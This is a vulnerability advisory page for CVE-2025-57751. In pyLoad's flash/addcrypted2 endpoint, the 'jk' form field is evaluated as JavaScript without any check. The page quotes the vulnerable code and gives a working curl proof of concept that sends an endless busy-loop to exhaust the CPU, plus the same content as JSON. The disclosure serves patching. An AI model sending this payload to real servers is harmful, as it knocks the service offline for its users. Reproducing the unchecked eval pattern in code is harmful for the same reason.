ghsa-9gjj-6gj7-c4wj
Vulnerability from github
Published
2025-08-21 20:11
Modified
2025-08-22 15:01
Summary
Denial-of-Service attack in pyLoad CNL Blueprint using dukpy.evaljs
Details

Dear Maintainers, I am writing to you on behalf of the Tencent AI Sec. We have identified a potential vulnerability in one of your products and would like to report it to you for further investigation and mitigation.

Summary

The jk parameter is received in pyLoad CNL Blueprint. Due to the lack of jk parameter verification, the jk parameter input by the user is directly determined as dykpy.evaljs(), resulting in the server CPU being fully occupied and the web-ui becoming unresponsive.

Details

  • Endpoint: flash/addcrypted2
  • affected file: https://github.com/pyload/pyload/blob/develop/src/pyload/webui/app/blueprints/cnl_blueprint.py#L123 https://github.com/pyload/pyload/blob/develop/src/pyload/core/utils/misc.py#L42

affected code ```python @bp.route("/flash/addcrypted2", methods=["POST"], endpoint="addcrypted2") @local_check def addcrypted2(): package = flask.request.form.get( "package", flask.request.form.get("source", flask.request.form.get("referer")) ) crypted = flask.request.form["crypted"] jk = flask.request.form["jk"] pack_password = flask.request.form.get("passwords")

crypted = standard_b64decode(unquote(crypted.replace(" ", "+")))
jk = eval_js(f"{jk} f()")

```

python def eval_js(script, es6=False): if sys.version_info < (3, 12): return (js2py.eval_js6 if es6 else js2py.eval_js)(script) else: return dukpy.evaljs(script)

PoC

download pyload and run locally, send the following request - PoC shell curl -X POST "http://localhost:8000/flash/addcrypted2" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "crypted=SGVsbG8gd29ybGQ=" \ -d "passwords=pyload" \ -d "jk=const start = Date.now();%0Awhile (Date.now() - start < 30_000) {} //" The 30_000 can be modified to any large value.

Impact

System resources are exhausted, causing services to be temporarily interrupted or stopped, making them inaccessible to normal users.

Use the following command to check CPU usage shell top -pid $(pgrep -f "pyload.__main__") or shell top -pid $(pgrep -f "pyload")

The CPU is fully occupied image

web-ui unresponsive image

Show details on source website


{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pyload-ng"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.5.0b3.dev92"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-57751"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-08-21T20:11:52Z",
    "nvd_published_at": "2025-08-21T19:15:43Z",
    "severity": "HIGH"
  },
  "details": "Dear Maintainers,\nI am writing to you on behalf of the Tencent AI Sec. We have identified a potential vulnerability in one of your products and would like to report it to you for further investigation and mitigation.\n\n### Summary\nThe `jk` parameter is received in pyLoad CNL Blueprint. Due to the lack of `jk` parameter verification, the `jk` parameter input by the user is directly determined as dykpy.evaljs(), resulting in the server CPU being fully occupied and the web-ui becoming unresponsive.\n\n### Details\n- Endpoint: flash/addcrypted2\n- affected file: https://github.com/pyload/pyload/blob/develop/src/pyload/webui/app/blueprints/cnl_blueprint.py#L123\nhttps://github.com/pyload/pyload/blob/develop/src/pyload/core/utils/misc.py#L42\t\n\naffected code\n```python\n@bp.route(\"/flash/addcrypted2\", methods=[\"POST\"], endpoint=\"addcrypted2\")\n@local_check\ndef addcrypted2():\n    package = flask.request.form.get(\n        \"package\", flask.request.form.get(\"source\", flask.request.form.get(\"referer\"))\n    )\n    crypted = flask.request.form[\"crypted\"]\n    jk = flask.request.form[\"jk\"]\n    pack_password = flask.request.form.get(\"passwords\")\n\n    crypted = standard_b64decode(unquote(crypted.replace(\" \", \"+\")))\n    jk = eval_js(f\"{jk} f()\")\n\n```\n\n```python\ndef eval_js(script, es6=False):\n    if sys.version_info \u003c (3, 12):\n        return (js2py.eval_js6 if es6 else js2py.eval_js)(script)\n    else:\n        return dukpy.evaljs(script)\n```\n\n### PoC\ndownload pyload and run locally, send the following request\n- PoC\n```shell\ncurl -X POST \"http://localhost:8000/flash/addcrypted2\" \\\n  -H \"Content-Type: application/x-www-form-urlencoded\" \\\n  -d \"crypted=SGVsbG8gd29ybGQ=\" \\\n  -d \"passwords=pyload\" \\\n  -d \"jk=const start = Date.now();%0Awhile (Date.now() - start \u003c 30_000) {} //\"\n```\nThe 30_000 can be modified to any large value.\n\n\n### Impact\nSystem resources are exhausted, causing services to be temporarily interrupted or stopped, making them inaccessible to normal users.\n\nUse the following command to check CPU usage\n```shell\ntop -pid $(pgrep -f \"pyload.__main__\") \n```\nor\n```shell\ntop -pid $(pgrep -f \"pyload\") \n```\n\nThe CPU is fully occupied\n\u003cimg width=\"1209\" height=\"134\" alt=\"image\" src=\"https://github.com/user-attachments/assets/5f9338fe-90c8-4e99-bd8e-a5b5c5a81a6e\" /\u003e\n\nweb-ui unresponsive\n\u003cimg width=\"1209\" height=\"496\" alt=\"image\" src=\"https://github.com/user-attachments/assets/7100cdb6-e4d5-4d0c-a138-51b08a7b1fbd\" /\u003e",
  "id": "GHSA-9gjj-6gj7-c4wj",
  "modified": "2025-08-22T15:01:48Z",
  "published": "2025-08-21T20:11:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pyload/pyload/security/advisories/GHSA-9gjj-6gj7-c4wj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-57751"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pyload/pyload"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Denial-of-Service attack in pyLoad CNL Blueprint using dukpy.evaljs"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
  • Confirmed: The vulnerability is confirmed from an analyst perspective.
  • Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
  • Patched: This vulnerability was successfully patched by the user reporting the sighting.
  • Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
  • Not confirmed: The user expresses doubt about the veracity of the vulnerability.
  • Not patched: This vulnerability was not successfully patched by the user reporting the sighting.


Loading…

Loading…